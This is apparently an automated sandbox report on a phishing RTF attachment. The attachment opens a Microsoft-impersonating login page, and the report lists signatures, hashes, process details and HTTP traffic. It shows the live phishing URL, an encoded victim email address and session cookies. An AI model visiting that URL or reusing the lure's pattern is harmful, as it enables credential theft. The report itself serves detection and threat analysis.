Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Airbornemx SWIFT COPY _ Wednesday May 2024..rtf

Overview

General Information

Sample name:	Airbornemx SWIFT COPY _ Wednesday May 2024..rtf
Analysis ID:	1445932
MD5:	a6c02d391b207b84472b7ac9b4c0de7c
SHA1:	bc1dbeeb82a0f9b4f7e7fa22a6065d62293f30af
SHA256:	e75d58fd1c42faeecdc4e88bd1309f532f109e760555810656062b15ba66faee
Infos:

Detection

HTMLPhisher

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

AI detected suspicious javascript

HTML page contains suspicious base64 encoded javascript

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

Detected non-DNS traffic on DNS port

Document contains embedded VBA macros

Document misses a certain OLE stream usually present in this Microsoft Office document type

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden URLs or javascript code

HTML title does not match URL

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Invalid T&C link found

JA3 SSL client fingerprint seen in connection with other malware

Stores files to the Windows start menu directory

Classification

×

Process Tree

System is w10x64_ra

WINWORD.EXE (PID: 4256 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\Desktop\Airbornemx SWIFT COPY _ Wednesday May 2024..rtf" /o "" MD5: 1A0C2C2E7D9C4BC18E91604E9B0C7678)

chrome.exe (PID: 6716 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://l6agz47874.eleteriod.com/k3hof49809/#dG9kZC5mcmFuY2VAYWlyYm9ybmVteC5jb20= MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 6920 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2012,i,11068479101874162425,8933108518678558561,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_356	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

HTML

Source	Rule	Description	Author	Strings
2.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu

LLM: Score: 9 brands: Microsoft Reasons: The URL 'https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu' is highly suspicious and does not match the legitimate domain name associated with Microsoft. The page contains a login form, which is a common element in phishing sites. The domain name 'eleteriod.com' is not related to Microsoft, indicating that this is likely a phishing attempt. DOM: 2.3.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 2.3.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_356, type: DROPPED

AI detected suspicious javascript

Source: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu

LLM: Score: 7 Reasons: The code contains several red flags that suggest it could be malicious. It collects user agent information, which can be used for fingerprinting. It also includes functionality for socket communication, which could be used to exfiltrate data. The presence of obfuscated variables and email addresses further raises suspicion. However, without more context or evidence of harmful actions, it is not definitively malicious. DOM: 2.3.pages.csv

HTML page contains suspicious base64 encoded javascript

Source: https://l6agz47874.eleteriod.com/k3hof49809/#dG9kZC5mcmFuY2VAYWlyYm9ybmVteC5jb20=

HTTP Parser: Base64 decoded: <script>

Phishing site detected (based on image similarity)

Source: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu

Matcher: Template: microsoft matched

Source: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu

HTTP Parser: Number of links: 0

Source: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://l6agz47874.eleteriod.com/k3hof49809/#dG9kZC5mcmFuY2VAYWlyYm9ybmVteC5jb20=

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script> <meta http-equiv="X-UA-Compatible" c...

Source: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu

HTTP Parser: Title: 05ZUn3IVER does not match URL

Source: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu	HTTP Parser: Invalid link: Terms of use
Source: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu	HTTP Parser: Invalid link: Privacy & cookies

Source: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu

HTTP Parser: <input type="password" .../> found

Source: https://l6agz47874.eleteriod.com/k3hof49809/#dG9kZC5mcmFuY2VAYWlyYm9ybmVteC5jb20=	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/8xyog/0x4AAAAAAAawZipfMclJYEh2/auto/normal	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/8xyog/0x4AAAAAAAawZipfMclJYEh2/auto/normal	HTTP Parser: No favicon
Source: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu	HTTP Parser: No favicon

Source: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu

HTTP Parser: No <meta name="author".. found

Source: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 40.126.32.134:443 -> 192.168.2.17:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.17:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.17:59885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.134:443 -> 192.168.2.17:59927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:59928 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.209.182:443 -> 192.168.2.17:59929 version: TLS 1.2

Source: winword.exe

Memory has grown: Private usage: 4MB later: 72MB

Source: global traffic

TCP traffic: 192.168.2.17:59863 -> 1.1.1.1:53

Source: global traffic

HTTP traffic detected: GET /ab HTTP/1.1Host: evoke-windowsservices-tas.msedge.netCache-Control: no-store, no-cacheX-PHOTOS-CALLERID: 9NMPJ99VJBWVX-EVOKE-RING: X-WINNEXT-RING: PublicX-WINNEXT-TELEMETRYLEVEL: BasicX-WINNEXT-OSVERSION: 10.0.19045.0X-WINNEXT-APPVERSION: 1.23082.131.0X-WINNEXT-PLATFORM: DesktopX-WINNEXT-CANTAILOR: FalseX-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd}X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI=If-None-Match: 2056388360_-1434155563Accept-Encoding: gzip, deflate, br

Source: Joe Sandbox View	IP Address: 104.17.3.184 104.17.3.184
Source: Joe Sandbox View	IP Address: 151.101.2.137 151.101.2.137
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=RxOb4T5Cgy5kgHP&MD=9AUd9Nh3 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /k3hof49809/ HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://l6agz47874.eleteriod.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://l6agz47874.eleteriod.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/695da7821231/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://l6agz47874.eleteriod.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/8xyog/0x4AAAAAAAawZipfMclJYEh2/auto/normal HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://l6agz47874.eleteriod.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=887eb68febf4728a HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/8xyog/0x4AAAAAAAawZipfMclJYEh2/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/8xyog/0x4AAAAAAAawZipfMclJYEh2/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://l6agz47874.eleteriod.com/k3hof49809/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkRYWmQ0TnFNcWw1UGMwek4zYWdZQ0E9PSIsInZhbHVlIjoibW5TdENxMXpQbUhWUVVVcWFXcFhUQmc3UXpacWhLZUVkV29iY2ovMjlMUEJNd2EwQjQwcTNYdGNuVnF2Q1locVlSQTgydjZlSGRwdGJib1lWelVBOE81YjBkeTU0emxQVDdhSGYxcE40eUpjOTRkTnZBb2tIU3BvQ3FVRmtlRjUiLCJtYWMiOiJjMTAyMmRkMjA3NTk3YjNhY2U0Zjg2YzE4ZGVjYjc2NWVlODEyMjk4NjcxYTQxZjI5MzIzMGJlNTY2NGMyNGZkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InAvcXlFODBrbkZ1bDA0NStDeUVvb1E9PSIsInZhbHVlIjoiRUJSSjdzaGRrMnVQS1hub1FrWHJ4aS83d3lKRGR6cE9ZeW9GeitWWXlPWXJuc25qZHg5MU56ZWdmMC96NmFRVUxMTGJvRHEraVpYSUoxZ2lEb2pjVmR1SW01T1U4OTJTVFBHMGdKeUtzak5RUjhGd0g4T2E2Q3ZydkV5UWpQdDUiLCJtYWMiOiI5NDE3NWJmYzMzMDUyNWRiNGY2OGZmNmM5MWJmMjU4OThhNjMyZjQyODllYWZlZDQ3ZGRhNGZmOWU0ZDQyNGM4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1805048405:1716398150:X45MG1wplxtOLBIWwajWeE9aw9tmayvdMiPEFXoWqXM/887eb68febf4728a/60ba1c6e58abf92 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/887eb68febf4728a/1716400905710/4539064854afb4f32570c5bc254e9c2c21c56b69a3fe49046984c2bf6f485953/Gi_dQDPtKhTCYfB HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/8xyog/0x4AAAAAAAawZipfMclJYEh2/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/887eb68febf4728a/1716400905715/yORtcSm8PD7IuNp HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/8xyog/0x4AAAAAAAawZipfMclJYEh2/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/887eb68febf4728a/1716400905715/yORtcSm8PD7IuNp HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1805048405:1716398150:X45MG1wplxtOLBIWwajWeE9aw9tmayvdMiPEFXoWqXM/887eb68febf4728a/60ba1c6e58abf92 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1805048405:1716398150:X45MG1wplxtOLBIWwajWeE9aw9tmayvdMiPEFXoWqXM/887eb68febf4728a/60ba1c6e58abf92 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /k3hof49809/ HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://l6agz47874.eleteriod.com/k3hof49809/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImttalYvUFRTRkZBMlhpY202VG04RXc9PSIsInZhbHVlIjoiczQ4RVpsZ0JGL2wvcTRDd2ZyYzhicDJtT0M1STAvN2JwVXE4U1hURlk5WDRIR3B0L0ZlU2RHMS9ZOHN0eUtYQWZZVkhES1dwMDVOdFN3UjlYdWZUK0FidjFoZVhjYUZaRDQyN1NFeVdnSWt6VStPek9kSFFvK0lpZHc1Vyt2YzQiLCJtYWMiOiI2YzNkMTQ4ZWE0MmU3NjlmOGUwZjRiOTA0NDA2N2E4ODlkOWU5NTZjMjhlMGM2NjYxNDE2NTQ0ZDhhZDJmMDA3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBZQTF5aHd4Qmc2RVJva0tHYktZY2c9PSIsInZhbHVlIjoia1haKzR6QjIvdkF0bGcyeStlNW1DUGVicm9mWVJ5UWI5ZmtTemFIQmdlWnV3c2JWc0hpODlZVnM2RjVlNG1WRGM2dkdBOHZLekVya2xWclJkdGhnd3NqUjJ1SXlKVTJFWnVSWnVQbzNnUmJURHdDTktqQ283YWh1V2ZRYWFQbVUiLCJtYWMiOiIzMDdkNGJmNDljMmNmYTNlN2U3ZmM0M2M3ZjlhMGU3Njg2ZThmZmMwZjkzMTc1YjNhMTVhNDhhNTA3YWU3MGEyIiwidGFnIjoiIn0%3D
